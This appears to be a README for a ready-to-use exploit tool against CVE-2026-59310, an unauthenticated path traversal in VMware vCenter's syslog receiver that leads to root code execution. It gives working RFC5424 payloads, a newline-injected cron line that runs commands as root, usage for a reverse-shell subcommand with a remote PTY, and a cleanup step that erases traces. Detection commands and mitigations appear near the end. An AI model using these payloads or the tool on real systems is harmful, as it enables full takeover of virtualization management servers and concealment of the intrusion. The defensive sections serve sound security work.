Skip to content
Exploit for Path Traversal in Vmware Vcenter_Server

Exploit for Path Traversal in Vmware Vcenter_Server

Sploitus • September 29, 2026

# CVE-2026-59310 — VMware vCenter Syslog Directory Traversal Leading to Unauthorized RCE

This project is based on a rewrite of [ChinaRan0/CVE-2026-59310-POC] ( The exploit chain and vulnerability description are sourced from that repository; the script has been modified to include subcommands, a one-time cron job, and an interactive shell with a remote PTY.

> **Disclaimer**: This project is intended solely for **authorized** security testing, vulnerability verification, and defense research. Please use it only in environments where explicit written authorization has been obtained. Users assume full responsibility for any consequences resulting from misuse.

- [Vulnerability Overview](#Vulnerability Overview)

- [Affected Versions](#Affected Versions)

- [Cause of the Vulnerability](#Cause of the Vulnerability)

- [Environment and Reproduction](#Environment and Reproduction)

- [Reproduction Script](#Reproduction Script)

- [Detection and Self-Assessment](#Detection and Self-Assessment)

- [Mitigation Recommendations](#Mitigation Recommendations)

- [Frequently Asked Questions](#Frequently Asked Questions)

| Vulnerability Name | VMware vCenter Syslog Directory Traversal Vulnerability |

| Vulnerability ID | **CVE-2026-59310** |

| Vulnerability Type | Directory Traversal (Path Traversal) → Arbitrary File Write → Remote Code Execution |

| Prerequisites | **Only requires access to the syslog port (default UDP/TCP 514); no credentials required** |

| Consequences | Write to any path and execute arbitrary code with **root** privileges |

The built-in syslog receiver service (rsyslog) in vCenter uses **dynamic path templates** to store logs. These templates directly concatenate the

`APP-NAME` and `HOSTNAME` fields from the message header into the file path, without performing any path sanitization. An attacker can send specially crafted messages to an accessible syslog

port to cause the written path to bypass the intended log directory, thereby enabling arbitrary code execution in conjunction with scheduled tasks.

vCenter is the central hub for virtualization management; compromising it is equivalent to compromising the entire vSphere/VCF environment.

**Affected Versions (prior to the following patched versions)**

| Branch | Scope of Impact | Patched Version |

| 9.1 | **Verified Environment**: VMware vCenter Server **9.0.2.0 / Build 25148086**,

> prior to patch version 25629525, is confirmed to be unpatched.

### 1. Dynamic path templates directly concatenate untrusted fields

`/etc/rsyslog.conf` (VMware factory default configuration):

29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"

33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"

35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

`%app-name%` is **used as both the directory name and the filename**, and there is no path sanitization.

63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt

It only requires a **prefix match**; an attacker can trigger this rule using `rsyslog/...` and enter the dynamic path template.

### 3. Line Break Penetration (Key to RCE)

24: $EscapeControlCharactersOnReceive off

Line breaks in the message content are written to disk as-is, allowing an attacker to control the **line structure** of the file being written.

### 4. Core Bypass Point: Inconsistent Parser Behavior Between RFC3164 and RFC5424

This is the aspect of this vulnerability most likely to be overlooked.

- **RFC3164 (pmrfc3164)**: Uses a character whitelist when parsing hostnames; `/` is not allowed by default,

causing `APP-NAME` to be truncated at `/` → **cannot be traversed**.

- **RFC 5424 (pmrfc5424)**: `APP-NAME` is an independent, space-separated field; **no character whitelist validation is performed**,

so `/` and `..` are preserved as-is → **traversal is possible**.

The server `input(type="imudp" port="514")` uses the default rule set and **also accepts RFC5424 messages**.

An attacker only needs to format the message according to RFC5424 to reach the file path by traversing characters.

Practical comparison (same payload `rsyslog/../../../../tmp/x`):

| pmrfc3164 | `rsyslog` ← Truncated at `/` |

| pmrfc5424 | `rsyslog/../../../../tmp/x` ← Preserved in full |

> Supporting evidence: A string consisting solely of `..` is treated as a **literal directory name** and created (e.g., `rsyslog..`), indicating that rsyslog’s

> omfile layer does not normalize `..`; what truly determines success or failure is whether **the parser can inject `/` into the field**.

① Unauthenticated UDP packet → ② RFC5424 APP-NAME carrying directory traversal → ③ Escape to the log directory for arbitrary write (root)

⑤ Root code execution ← ④ Planting a cron job in `/etc/cron.d`

### Steps ①②③: Unauthenticated arbitrary file write (root)

1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

Directory = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED

File = As above + "-syslog.log" → /tmp/PWNED-syslog.log

Result: The file `/tmp/PWNED-syslog.log` is written with **root** as the owner; the parent directory is automatically created if missing, and the content is fully controllable.

Since the filename always ends with `-syslog.log`, it is not possible to directly overwrite `/etc/cron.d/xxx`.

However, by leveraging line-break penetration, a line break can be injected into the MSG, **allowing the controlled content to start from column 0 of the file**:

2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron reports "bad minute" and ignores it

* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← Executed as a valid cron line

crond schedules and executes as root, yielding:

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

- **VAMI static resource directory**: Written to `/opt/vmware/ /htdocs/` (lighttpd listens on port 5480),

then read via ` consistent with the vendor’s advisory.

- **`/var/spool/cron/root`**: Writing to this directory is possible, but the file body must be named `root`.

Due to the `-syslog.log` suffix restriction, `/etc/cron.d/` is a more direct option.

## Environment and Reproduction Verification

| Target | VMware vCenter Server 9.0.2.0, Build **25148086** |

| Fixed Version | 9.0.2.0100, Build 25629525 |

| rsyslog | 8.2306.0-4.ph5 (VMware custom package) |

| syslog Port | UDP/TCP **514**, TCP 1514 (TLS) |

**Arbitrary File Write (No Authentication)**

[i] API namespace version: 9.0.0.0 (not an appliance build; for fingerprint reference only)

[*] APP-NAME : rsyslog/../../../../../tmp/cve59310_check_

[+] Sent. Expected to create a file owned by root on the target

-rw-r----- 1 root root 102 /tmp/cve59310_check_-syslog.log

$ python3 cve-2026-59310.py exec -c "id; hostname"

[+] Planted: /etc/cron.d/cve59310-syslog.log

[i] Read the result: cat /tmp/cve59310_.txt

# Runs once approximately 60 seconds later and deletes this cron file:

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

$ python3 cve-2026-59310.py shell --lhost --lport 4444

[+] Planted: /etc/cron.d/cve59310-syslog.log

[+] Connection established from :56184 — root shell established

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

The prompt, colors, and Tab completion all come from the target’s bash. The target first allocates a PTY and then starts the shell; local keystrokes are forwarded in real time. Press `Ctrl+]` to disconnect the local connection.

> Replace the target IP, reverse connection address, and other details with those of your own authorized test environment.

- Python **3.8+** (standard library only; no third-party packages required)

- Network access to the target’s syslog port (default UDP/514)

Actions are distinguished by subcommands; common parameters are listed after each subcommand.

# 1) Interactive root shell (remote PTY, supports color and Tab completion)

python3 cve-2026-59310.py shell --lhost --lport 4444

# 2) Execute a single command; output is written to the target file /tmp/cve59310_.txt

python3 cve-2026-59310.py exec -c "id; hostname"

# 3) Verify unauthorized write access: Leave a file with root ownership in /tmp

# 4) Create a one-time cron job to remove traces of this session or all traces

Cron jobs planted via `exec` and `shell` will delete themselves before execution and will not trigger repeatedly every minute.

| `--port` | syslog port; default is `514` |

| `--id` | File identifier on the target; 1–32 characters consisting of lowercase letters or numbers; default is random |

| `--wait` | Poll until a result is read back or a timeout occurs |

| `--timeout` | Maximum number of seconds for `--wait`; default is `180` |

| `--read-command` | Command to run on the local machine; `{path}` is replaced with the remote result path |

| `--lhost` / `--lport` | Address and port for the target to connect back to; default port is `4444` |

| `--bind` | Local listen address; default is `0.0.0.0` |

| `--method {bash,python}` | Specifies which shell initiates the connection; default `bash`; both allocate a PTY on the target |

| `--timeout` | Number of seconds to wait for a callback, default `180` |

Keystrokes in the session are sent to the target immediately. `Ctrl+]` disconnects only locally, while `exit` exits the remote bash.

`cleanup` uses the same write primitives to implant a one-time task, which deletes the file after approximately 60 seconds. When `--id` is specified, it deletes only the cron jobs, command output, and check markers left by this specific instance; if not specified, it deletes all files prefixed with `cve59310`.

You can also manually delete them from a shell you’ve already obtained:

rm -f /tmp/cve59310_*.txt /tmp/cve59310_check_*-syslog.log

# Check the version in the vCenter Shell (Build /dev/null

# 2) Suspicious *-syslog.log files outside the log directory (full disk scan, most effective)

find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null

# 3) Abnormal directories generated by directory traversal (note directories containing characters such as .. or % in their paths)

ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'

# 4) Content written to the VAMI static directory

# 5) Anomalous hostnames in syslog forwarding logs (APP-NAME containing / or ..)

grep -nE '(\.\./|/)' /var/log/vmware/messages | head

> Note: The full-disk scan in item 2 is the most reliable troubleshooting method. If the template traverses a nonexistent path,

> rsyslog will **automatically create** the parent directory; therefore, abnormal directories such as `/..etc/` or `/rsyslog../`

### Priority: Upgrade to a patched version

Upgrade according to the [Affected Versions](#AffectedVersions) table. For the 9.0 branch, the minimum requirement is **9.0.2.0100 (Build 25629525)**.

### Temporary Workaround (If an Immediate Upgrade Is Not Possible)

1. **Close the RFC5424 attack surface** (most direct): Specify the `pmrfc3164` parser for ports 514 and 1514.

input(type="imudp" port="514" ruleset="all" parser="p3164")

2. **Explicit path sanitization**: Configure `securepath="normal"` and `secpath-drop="replace"` for omfile.

The upstream rsyslog security advisory (GHSA-xmp9-244p-5ggv) explicitly states that **`securepath` is the reliable path boundary**.

3. **Block line break traversal**: Set `$EscapeControlCharactersOnReceive on`.

4. **Tighten Selectors**: Change `:app-name, startswith, "rsyslog"` to an exact match;

modify the hostname validation rule to use a source IP/subnet whitelist to prevent arbitrary external senders from entering the dynamic path template.

5. **Network Isolation**: Ports 514 and 1514 are open only to managed ESXi hosts and trusted log forwarders; access from non-management networks is prohibited.

> ⚠️ Note: Currently, blocking the `%hostname%` path relies solely on the **default behavior of the RFC3164 resolver** as a coincidental line of defense;

> it is not a reliable security boundary. Once `permit.slashesinhostname` is enabled for compatibility,

> this same rule immediately becomes exploitable.

**Q: Why does the tool report version 9.0.0.0, which does not match the actual build?**

`/sdk/vimServiceVersions.xml` returns the **API namespace version**, not the appliance build number,

so you cannot determine whether the vulnerability has been fixed based on this. Please verify the actual build by running `cat /etc/vmware-release` in the vCenter Shell.

**Q: Why can’t I read the results after executing the command?**

crond triggers every minute, so you’ll typically need to wait 60 seconds. The task runs only once. This vulnerability involves only write operations;

the script cannot read the file back on its own. You’ll need to run `cat /tmp/cve59310_.txt` on the target.

You can also add `--wait --read-command "ssh root@target cat {path}"` to `exec`,

so the local machine can retrieve the result.

**Q: The reverse shell isn’t connecting back?* *

Common causes: The target cannot access the attacker’s machine (firewall / NAT / subnet isolation); crond has not yet triggered

(you can increase `shell --timeout`); the listening port is not open. The target must have `python3` installed,

because the interactive session requires a PTY to be allocated on the remote side. You can use `--method python` to try a different launch method.

**Q: Tab completion or colors aren’t working?**

Completion relies on full-duplex communication and a remote PTY. Please use the `shell` subcommand and run it in a real terminal.

Press `Ctrl+]` to disconnect locally. If output still appears only after the entire line is sent, it means the script is not running.

**Q: Why does `-c "a; b"` only capture partial output?**

Fixed. The script uses `{ cmd; } > file 2>&1` for grouped redirection,

ensuring that the output of the entire command sequence is captured (`a; b > file` would only redirect the last command).

- Original repository on which this project is based:

- Vendor advisory VMSA-2026-0006: content/SecurityAdvisories/0/38017

- Technical Analysis (Mobeta):

- rsyslog omfile dynaFile Hardening Advisory (GHSA-xmp9-244p-5ggv):

- vCenter 9.0.2.0100 Release Notes: us/en/vmware-cis/vcf/vcf-9-0-and-later/9-0/release-notes/patch-releases-9-0-0-x/vsphere/vcenter/vcenter-9-0-2-0100-release-notes.html

Extracted Entities